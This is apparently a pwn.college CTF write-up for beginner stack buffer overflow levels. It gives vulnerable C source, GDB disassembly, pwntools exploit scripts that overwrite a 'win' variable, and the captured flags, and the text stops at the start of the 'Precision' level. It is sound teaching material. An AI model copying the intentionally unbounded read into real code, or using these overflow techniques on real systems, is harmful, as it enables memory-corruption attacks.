Binary Exploitation
Your First Overflow (easy)
Source code
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;
#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}
void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}
void bin_padding()
{
asm volatile (".rept 3705; nop; .endr");
}
void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;
puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}
int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[56];
int win_variable;
} data = {0} ;
unsigned long size = 0;
puts("The challenge() function has just been launched!");
GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 56);
printf("large input length, and thus overflow the buffer.\n\n");
printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, when this variable is non-zero, the flag will be printed.\n");
printf("You can make this variable be non-zero by overflowing the input buffer.\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");
FIND_CANARY(cp_, cv_, bp_);
size = 4096;
printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 56);
printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);
if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}
printf("You sent %d bytes!\n", received);
printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);
printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("\n");
if (data.win_variable)
{
win();
}
puts("Goodbye!");
return 0;
}
int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char crash_resistance[0x1000];
challenge(argc, argv, envp);
}
On running the challenge, we get the following:
hacker@binary-exploitation~your-first-overflow-easy:/$ /challenge/binary-exploitation-first-overflow-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd92a28580 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a28588 (rsp+0x0008) | 48 97 a2 92 fd 7f 00 00 | 0x00007ffd92a29748 |
| 0x00007ffd92a28590 (rsp+0x0010) | 38 97 a2 92 fd 7f 00 00 | 0x00007ffd92a29738 |
| 0x00007ffd92a28598 (rsp+0x0018) | 25 a5 b4 bf 01 00 00 00 | 0x00000001bfb4a525 |
| 0x00007ffd92a285a0 (rsp+0x0020) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffd92a285a8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285b0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285b8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285c0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285c8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285d0 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285d8 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285e0 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285e8 (rsp+0x0068) | 00 00 00 00 fd 7f 00 00 | 0x00007ffd00000000 |
| 0x00007ffd92a285f0 (rsp+0x0070) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffd92a285f8 (rsp+0x0078) | 00 13 c2 3e ea 86 82 2f | 0x2f8286ea3ec21300 |
| 0x00007ffd92a28600 (rsp+0x0080) | 40 96 a2 92 fd 7f 00 00 | 0x00007ffd92a29640 |
| 0x00007ffd92a28608 (rsp+0x0088) | 50 29 40 00 00 00 00 00 | 0x0000000000402950 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffd92a28580, and our base pointer points to 0x7ffd92a28600.
This means that we have (decimal) 18 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 144 bytes.
The input buffer begins at 0x7ffd92a285b0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 56 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.
In this level, there is a "win" variable.
By default, the value of this variable is zero.
However, when this variable is non-zero, the flag will be printed.
You can make this variable be non-zero by overflowing the input buffer.
The "win" variable is stored at 0x7ffd92a285e8, 56 bytes after the start of your input buffer.
We have disabled the following standard memory corruption mitigations for this challenge:
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.
You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffd92a285b0 (the start of the input buffer)
right up to (but not including) 0x7ffd92a295b0 (which is 4040 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!
We simply have to send 56 bytes of padding to fill out the buffer, and then we can overwrite the win variable, and get the flag.
Exploit
from pwn import *
padding = b'A' * 56
payload = padding + p64(0x42424242)
p = process('/challenge/binary-exploitation-first-overflow-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~your-first-overflow-easy:/$ python ~/script.py
[+] Starting local process '/challenge/binary-exploitation-first-overflow-w': pid 5718
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[▁] Receiving all data: 1B
[+] Receiving all data: Done (2.37KB)tation-first-overflow-w' stopped with exit code 0 (pi
d 5718)
You sent 64 bytes!
Let's see what happened with the stack:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffe3f82d510 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe3f82d518 (rsp+0x0008) | d8 e6 82 3f fe 7f 00 00 | 0x00007ffe3f82e6d8 |
| 0x00007ffe3f82d520 (rsp+0x0010) | c8 e6 82 3f fe 7f 00 00 | 0x00007ffe3f82e6c8 |
| 0x00007ffe3f82d528 (rsp+0x0018) | 25 45 a4 67 01 00 00 00 | 0x0000000167a44525 |
| 0x00007ffe3f82d530 (rsp+0x0020) | 00 10 00 00 40 00 00 00 | 0x0000004000001000 |
| 0x00007ffe3f82d538 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffe3f82d540 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d548 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d550 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d558 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d560 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d568 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d570 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d578 (rsp+0x0068) | 42 42 42 42 00 00 00 00 | 0x0000000042424242 |
| 0x00007ffe3f82d580 (rsp+0x0070) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffe3f82d588 (rsp+0x0078) | 00 0a d0 55 5a 93 06 6d | 0x6d06935a55d00a00 |
| 0x00007ffe3f82d590 (rsp+0x0080) | d0 e5 82 3f fe 7f 00 00 | 0x00007ffe3f82e5d0 |
| 0x00007ffe3f82d598 (rsp+0x0088) | 50 29 40 00 00 00 00 00 | 0x0000000000402950 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffe3f82d540
- the saved frame pointer (of main) is at 0x7ffe3f82d590
- the saved return address (previously to main) is at 0x7ffe3f82d598
- the saved return address is now pointing to 0x402950.
- the canary is stored at 0x7ffe3f82d588.
- the canary value is now 0x6d06935a55d00a00.
- the address of the win variable is 0x7ffe3f82d578.
- the value of the win variable is 0x42424242.
You win! Here is your flag:
pwn.college{IklKJD4tmAGF8uR7XZbFtXjDVI1.0VO4IDL4ITM0EzW}
Goodbye!
Your First Overflow (hard)
Source code
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
void bin_padding()
{
asm volatile (".rept 2295; nop; .endr");
}
void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;
puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}
int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[91];
int win_variable;
} data = {0} ;
unsigned long size = 0;
size = 4096;
printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);
if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}
if (data.win_variable)
{
win();
}
puts("Goodbye!");
return 0;
}
int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char crash_resistance[0x1000];
challenge(argc, argv, envp);
}
Let's first check the file type.
hacker@binary-exploitation~your-first-overflow-hard:/$ file /challenge/binary-exploitation-first-overflow
/challenge/binary-exploitation-first-overflow: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0820f5d1594512f9ce64b72709778e6500a2c4f4, for GNU/Linux 3.2.0, not stripped
So the challenge is a 64-bit LSB executable, let's run it.
hacker@binary-exploitation~your-first-overflow-hard:/$ /challenge/binary-exploitation-first-overflow
Send your payload (up to 4096 bytes)!
This time we are not given any information by the program. There are certain values we need to know in order to perform a buffer overflow.
- Location of the buffer to be overflowed
- Location of the data to be overwritten
Let's open the program within GDB and try to find this information.
Disassembly
hacker@binary-exploitation~your-first-overflow-hard:/home$ gdb /challenge/binary-exploitation-first-overflow
GNU gdb (GDB) 16.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /challenge/binary-exploitation-first-overflow...
(No debugging symbols found in /challenge/binary-exploitation-first-overflow)
(gdb)
We need to see which functions are present in the binary.
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010e0 __errno_location@plt
0x00000000004010f0 puts@plt
0x0000000000401100 write@plt
0x0000000000401110 __stack_chk_fail@plt
0x0000000000401120 printf@plt
0x0000000000401130 geteuid@plt
0x0000000000401140 read@plt
0x0000000000401150 setvbuf@plt
0x0000000000401160 open@plt
0x0000000000401170 exit@plt
0x0000000000401180 strerror@plt
0x0000000000401190 _start
0x00000000004011c0 _dl_relocate_static_pie
0x00000000004011d0 deregister_tm_clones
0x0000000000401200 register_tm_clones
0x0000000000401240 __do_global_dtors_aux
0x0000000000401270 frame_dummy
0x0000000000401276 bin_padding
0x0000000000401b78 win
0x0000000000401c7f challenge
0x0000000000401d6f main
0x0000000000401e20 __libc_csu_init
0x0000000000401e90 __libc_csu_fini
0x0000000000401e98 _fini
The challenge() funtion seems interesting, before we disassemble it, let's set the disassembly-flavor to intel.
(gdb) set disassembly-flavor intel
challenge()
(gdb) disassemble challenge
Dump of assembler code for function challenge:
0x0000000000401c7f <+0>: endbr64
0x0000000000401c83 <+4>: push rbp
0x0000000000401c84 <+5>: mov rbp,rsp
0x0000000000401c87 <+8>: sub rsp,0xa0
0x0000000000401c8e <+15>: mov DWORD PTR [rbp-0x84],edi
0x0000000000401c94 <+21>: mov QWORD PTR [rbp-0x90],rsi
0x0000000000401c9b <+28>: mov QWORD PTR [rbp-0x98],rdx
0x0000000000401ca2 <+35>: mov rax,QWORD PTR fs:0x28
0x0000000000401cab <+44>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401caf <+48>: xor eax,eax
0x0000000000401cb1 <+50>: lea rdx,[rbp-0x70]
0x0000000000401cb5 <+54>: mov eax,0x0
0x0000000000401cba <+59>: mov ecx,0xc
0x0000000000401cbf <+64>: mov rdi,rdx
0x0000000000401cc2 <+67>: rep stos QWORD PTR es:[rdi],rax
0x0000000000401cc5 <+70>: mov QWORD PTR [rbp-0x78],0x0
0x0000000000401ccd <+78>: mov QWORD PTR [rbp-0x78],0x1000
0x0000000000401cd5 <+86>: mov rax,QWORD PTR [rbp-0x78]
0x0000000000401cd9 <+90>: mov rsi,rax
0x0000000000401cdc <+93>: lea rdi,[rip+0x42d] # 0x402110
0x0000000000401ce3 <+100>: mov eax,0x0
0x0000000000401ce8 <+105>: call 0x401120 <printf@plt>
0x0000000000401ced <+110>: mov rdx,QWORD PTR [rbp-0x78]
0x0000000000401cf1 <+114>: lea rax,[rbp-0x70]
0x0000000000401cf5 <+118>: mov rsi,rax
0x0000000000401cf8 <+121>: mov edi,0x0
0x0000000000401cfd <+126>: call 0x401140 <read@plt>
0x0000000000401d02 <+131>: mov DWORD PTR [rbp-0x7c],eax
0x0000000000401d05 <+134>: cmp DWORD PTR [rbp-0x7c],0x0
0x0000000000401d09 <+138>: jns 0x401d37 <challenge+184>
0x0000000000401d0b <+140>: call 0x4010e0 <__errno_location@plt>
0x0000000000401d10 <+145>: mov eax,DWORD PTR [rax]
0x0000000000401d12 <+147>: mov edi,eax
0x0000000000401d14 <+149>: call 0x401180 <strerror@plt>
0x0000000000401d19 <+154>: mov rsi,rax
0x0000000000401d1c <+157>: lea rdi,[rip+0x415] # 0x402138
0x0000000000401d23 <+164>: mov eax,0x0
0x0000000000401d28 <+169>: call 0x401120 <printf@plt>
0x0000000000401d2d <+174>: mov edi,0x1
0x0000000000401d32 <+179>: call 0x401170 <exit@plt>
0x0000000000401d37 <+184>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000401d3a <+187>: test eax,eax
0x0000000000401d3c <+189>: je 0x401d48 <challenge+201>
0x0000000000401d3e <+191>: mov eax,0x0
0x0000000000401d43 <+196>: call 0x401b78 <win>
0x0000000000401d48 <+201>: lea rdi,[rip+0x40d] # 0x40215c
0x0000000000401d4f <+208>: call 0x4010f0 <puts@plt>
0x0000000000401d54 <+213>: mov eax,0x0
0x0000000000401d59 <+218>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000401d5d <+222>: xor rcx,QWORD PTR fs:0x28
0x0000000000401d66 <+231>: je 0x401d6d <challenge+238>
0x0000000000401d68 <+233>: call 0x401110 <__stack_chk_fail@plt>
0x0000000000401d6d <+238>: leave
0x0000000000401d6e <+239>: ret
End of assembler dump.
In this output, we can see that the program is making a read@plt call, this is to read in the user input.
# ---- snip ----
0x0000000000401ced <+110>: mov rdx,QWORD PTR [rbp-0x78]
0x0000000000401cf1 <+114>: lea rax,[rbp-0x70]
0x0000000000401cf5 <+118>: mov rsi,rax
0x0000000000401cf8 <+121>: mov edi,0x0
0x0000000000401cfd <+126>: call 0x401140 <read@plt>
# ---- snip ----
read@plt
ssize_t read(int fd, void buf[.count], size_t count);
| arg0 (%rdi) | arg1 (%rsi) | arg2 (%rdx) |
|---|---|---|
| unsigned int fd | char *buf | size_t count |
We can see that the second argument is the location of the buffer in which the data is to be read. This argument is loaded in the rsi register.
Let's look at how this is loaded in our assembly code.
One thing to note is that the program is calling read function in the C standard library (glibc) through the Procedure Linkage Table (PLT). This internally sets up the syscall with rax=0 and executes the syscall instruction.
Hence, the rax register does not have to be explicitely set to 0 in the program.
Let's set a breakpoint and check tehe value of rsi right before read@plt is called.
(gdb) break *(challenge+126)
Breakpoint 1 at 0x401cfd
Once the program execution hits our breakpoint, we can check the value of rsi.
Breakpoint 1, 0x0000000000401cfd in challenge ()
(gdb) p/x $rsi
$1 = 0x7ffc5e80eb90
This tells us that the buffer is located at 0x7ffc5e80eb90.
Within the challenge() funtion, there is anoter interesting code snippet.
# ---- snip ----
0x0000000000401d37 <+184>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000401d3a <+187>: test eax,eax
0x0000000000401d3c <+189>: je 0x401d48 <challenge+201>
0x0000000000401d3e <+191>: mov eax,0x0
0x0000000000401d43 <+196>: call 0x401b78 <win>
0x0000000000401d48 <+201>: lea rdi,[rip+0x40d] # 0x40215c
# ---- snip ----
The program moves the data pointed to by rbp-0x14 into eax, and then checks if it is zero. If the check succeeds, it jumps to challenge+201, effectively skipping the win function.
Let'e set a breakpoint at challenge+184 and validate what value is being pointed to by rbp-0x14 (If our hypothesis is correct, it should be zero).
(gdb) break *(challenge+184)
Breakpoint 2 at 0x401d37
Let's continue the flow of execution, provide some user input, and check the data that rbp-0x14 points to.
(gdb) c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 2, 0x0000000000401d37 in challenge ()
(gdb) x/dw $rbp-0x14
0x7ffc5e80ebec: 0
If we overwrite the data stored at rbp-0x14 to something other that 0, the program will not jump over win and we will get the flag.
We have satisfied all the requirements for a buffer overflow.
- Location of the buffer to be overflowed:
0x7ffc5e80eb90 - Location of the data to be overwritten:
0x7ffc5e80ebec
Now that we have the necessary data, we can calculate the distance between the buffer and the address to be overwritten.
(gdb) p/d 0x7ffc5e80ebec - 0x7ffc5e80eb90
$2 = 92
Exploit
from pwn import *
padding = b'A' * 92
payload = padding + p64(0x42424242)
p = process('/challenge/binary-exploitation-first-overflow')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~your-first-overflow-hard:/$ python ~/script.py
[+] Starting local process '/challenge/binary-exploitation-first-overflow': pid 30430
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (97B)
[*] Process '/challenge/binary-exploitation-first-overflow' stopped with exit code 0 (pid 30430)
You win! Here is your flag:
pwn.college{g40ivIGbon98_O-LlQdx5bT0UGF.0FM5IDL4ITM0EzW}
Goodbye!
Precision (easy)
Source code
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>
uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;
#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}
void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}
void bin_padding()
{
asm volatile (".rept 3339; nop; .endr");
}
void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;
puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}
int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[68];
int win_variable;
int lose_variable;
} data = {0} ;
unsigned long size = 0;
puts("The challenge() function has just been launched!");
GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 68);
printf("large input length, and thus overflow the buffer.\n\n");
printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, when this variable is non-zero, the flag will be printed.\n");
printf("You can make this variable be non-zero by overflowing the input buffer.\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));
puts(" But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you");
puts("will not get the flag. Be careful not to overwrite this variable.\n");
printf("The \"lose\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.lose_variable, ((unsigned long) &data.lose_variable) - ((unsigned long) &data.input));
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");
FIND_CANARY(cp_, cv_, bp_);
size = 4096;
printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 68);
printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);
if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}
printf("You sent %d bytes!\n", received);
printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);
printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("- the address of the lose variable is %p.\n", &data.lose_variable);
printf("- the value of the lose variable is 0x%x.\n", data.lose_variable);
printf("\n");
if (data.lose_variable)
{
puts("Lose variable is set! Quitting!");
exit(1);
}
if (data.win_variable)
{
win();
}
puts("Goodbye!");
return 0;
}
int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char crash_resistance[0x1000];
challenge(argc, argv, envp);
}
hacker@binary-exploitation~precision-easy:/$ /challenge/binary-exploitation-lose-variable-w
The challenge() function has just been launched!
